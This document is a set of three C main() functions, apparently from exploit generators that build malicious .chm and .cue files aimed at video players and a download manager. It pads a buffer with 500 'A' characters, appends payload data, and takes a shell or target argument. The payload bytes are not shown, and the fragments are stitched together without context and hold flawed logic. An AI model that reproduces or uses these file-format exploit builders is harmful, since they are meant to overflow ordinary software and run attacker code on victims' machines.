int main (int argc, char *argv []) { EXPLOIT VIDEO; VIDEO.Usage(argv [0]); if(argc < 2) { VIDEO.Usage(argv [0]); exit(0); } if(VIDEO.check(argv [1], "-file") == Neg) { fprintf(stdout , " Incorect input "); printf(" \t..Usage is %s -file filename.. \n", Name); exit(0); } FILE *f; strcpy(Name, argv [2]); strcat(Name, " .chm "); f = fopen (Name, "w"); assert( f != NULL); strncpy(NeWbuff , rawData , sizeof(rawData)); fputs("FILE \"", f); fprintf( f, " %s ", NeWbuff); fprintf( stdout , "File build ! "); exit(0); getchar(); return 0; }
int main(int argc, char *argv[]) { EXPLOIT IDM; int X, shell ; char *Z; char *actbuff; actbuff = (char *)malloc(SIZE); if (argc < 3) { system("cls"); printf("***********************************************************************\n"); IDM.print (); IDM.usage (argv[0]); //Sleep(1000); printf("\n\n"); printf("\t\t\t\tTargets\n"); IDM.target(); printf("************************************************************************\n"); exit (0); } Z = argv[1]; shell = atoi(argv[2]); IDM.write (actbuff, shell, Z); IDM.file (argv[3], actbuff); IDM.print(); printf("Loading ..."); //Sleep(3000); printf ("File build succesfully\n"); return 0; }
int main (int argc, char *argv []) { EXPLOIT VIDEO; if ( argc < 2) VIDEO.Usage ( argv [0]); if ( VIDEO.check ( argv [1], "-file") == Neg) { fprintf ( stdout , " Incorect input "); printf ( " \t..Usage is %s -file filename.. \n", Name); exit ( 0); } do { NeWbuff [i] = 'A'; i++; }while (i < 500); FILE *f; strcpy (Name, argv [2]); strcat (Name, " .cue "); f = fopen (Name, "w"); assert ( f != NULL); strncpy ( NeWbuff + 500 , FILE_FF , strlen ( FILE_FF)); fputs("FILE \"", f); fprintf ( f, " %s ", NeWbuff); fprintf ( stdout , "File build ! "); exit ( 0); getchar (); return 0; }